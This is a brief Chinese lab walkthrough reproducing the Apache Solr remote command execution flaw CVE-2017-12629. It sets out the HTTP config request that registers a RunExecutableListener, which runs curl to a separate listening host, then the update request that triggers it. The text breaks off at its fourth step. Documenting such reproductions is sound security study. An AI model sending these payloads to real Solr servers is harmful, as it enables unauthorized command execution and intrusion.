文章目录
Apache Solr 远程命令执行漏洞(CVE-2017-12629)
使用postCommit测试
1.第一次命令执行我们需要创建一个listener
GET /solr/demo/config HTTP/1.1
Host: 192.168.100.129:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 176
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"curl","dir":"/usr/bin/","args":["http://192.168.100.205:6666/test1"]}}
2.然后在我们的服务端启动一个简单的服务
python2 -m SimpleHTTPServer 6666
3.我们在update接口下激活我们的listener
POST /solr/demo/update HTTP/1.1
Host: 192.168.100.129:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 14
[{"id":"123"}]
这里的id是什么没有影响,其作用在于激活我们创建的listener
访问到了我们的服务器:
4.再次命令执行,这时候不能使用add-listener了,而要使用update-listener
使用add-listener的效果: